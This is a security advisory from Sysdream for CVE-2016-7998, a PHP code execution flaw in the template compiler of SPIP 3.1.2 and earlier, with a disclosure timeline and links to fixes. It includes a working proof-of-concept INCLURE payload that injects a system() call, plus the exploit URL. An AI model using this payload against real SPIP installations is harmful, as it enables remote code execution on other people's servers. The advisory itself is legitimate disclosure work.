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SPIP 3.1.2 Template Compiler / Composer PHP Code Execution

SPIP 3.1.2 Template Compiler / Composer PHP Code Execution
Posted Oct 20, 2016
Authored by Nicolas Chatelain

SPIP versions 3.1.2 and below suffer from a PHP code execution vulnerability.

tags | exploit, php, code execution
advisories | CVE-2016-7998
MD5 | 55991565e09ceb72a42ec7723d003821

SPIP 3.1.2 Template Compiler / Composer PHP Code Execution

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## SPIP 3.1.2 Template Compiler/Composer PHP Code Execution (CVE-2016-7998)

### Product Description

SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence.

### Vulnerability Description

The SPIP template composer/compiler does not correctly handle SPIP "INCLUDE/INCLURE" Tags, allowing PHP code execution by an authenticated user.
This vulnerability can be exploited using the CSRF or the XSS vulnerability also found in this advisory.

**Access Vector**: remote

**Security Risk**: critical

**Vulnerability**: CWE-94

**CVSS Base Score**: 9.1 (Critical)

**CVE-ID**: CVE-2016-7998

### Proof of Concept

Store a `.html` file in a random directory with the following content :

<INCLURE(xxx"\)\);}system\("touch /tmp/exploited"\);/*)>

Then you can access to the following URL, with the `var_url` paramater pointing to the path corresponding to your uploaded file:

http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=file:///tmp/directory&ext=html

The PHP code `system("touch /tmp/exploited");` will be executed after 2 requests.

This happens because the template file is included (if already compiled) by `ecrire/public/composer.php`, line 60 :

if (!squelette_obsolete($phpfile, $source)) {
include_once $phpfile;

and because we can "exit" the function generated by the template compiler (improper sanitization when generating argumenter_squelette):

function html_xxxx($Cache, $Pile, $doublons = array(), $Numrows = array(), $SP = 0) {
if (isset($Pile[0]["doublons"]) AND is_array($Pile[0]["doublons"]))
$doublons = nettoyer_env_doublons($Pile[0]["doublons"]);
$connect = '';
$page = (
'<'.'?php echo recuperer_fond( ' . argumenter_squelette("xxx"));}system("touch /tmp/exploited");/*") . ', array(\'lang\' => ' . argumenter_squelette($GLOBALS["spip_lang"]) . '), array("compil"=>array(\'/tmp/exploit.html\',\'html_xxxx\',\'\',1,$GLOBALS[\'spip_lang\'])), _request("connect"));
?'.'>
');
return analyse_resultat_skel('html_xxxx', $Cache, $page, '/tmp/exploit.html');
}

Therefore, the vulnerability leads to arbitrary PHP code execution.


### Vulnerable code

The vulnerable code is located in the `argumenter_inclure` function (`ecrire/public/compiler.php`), line 123.

if ($var !== 1) {
$val = ($echap ? "\'$var\' => ' . argumenter_squelette(" : "'$var' => ")
. $val . ($echap ? ") . '" : " ");
}

### Timeline (dd/mm/yyyy)

* 15/09/2016 : Initial discovery
* 26/09/2016 : Contact with SPIP Team
* 27/09/2016 : Answer from SPIP Team, sent advisory details
* 27/09/2016 : Fixes issued for PHP Code Execution
* 30/09/2016 : SPIP 3.1.3 Released

### Fixes

* https://core.spip.net/projects/spip/repository/revisions/23186
* https://core.spip.net/projects/spip/repository/revisions/23189
* https://core.spip.net/projects/spip/repository/revisions/23192

### Affected versions

* Version <= 3.1.2

### Credits

* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)


--
SYSDREAM Labs <labs@sysdream.com>

GPG :
47D1 E124 C43E F992 2A2E
1551 8EB4 8CD9 D5B2 59A1

* Website: https://sysdream.com/
* Twitter: @sysdream







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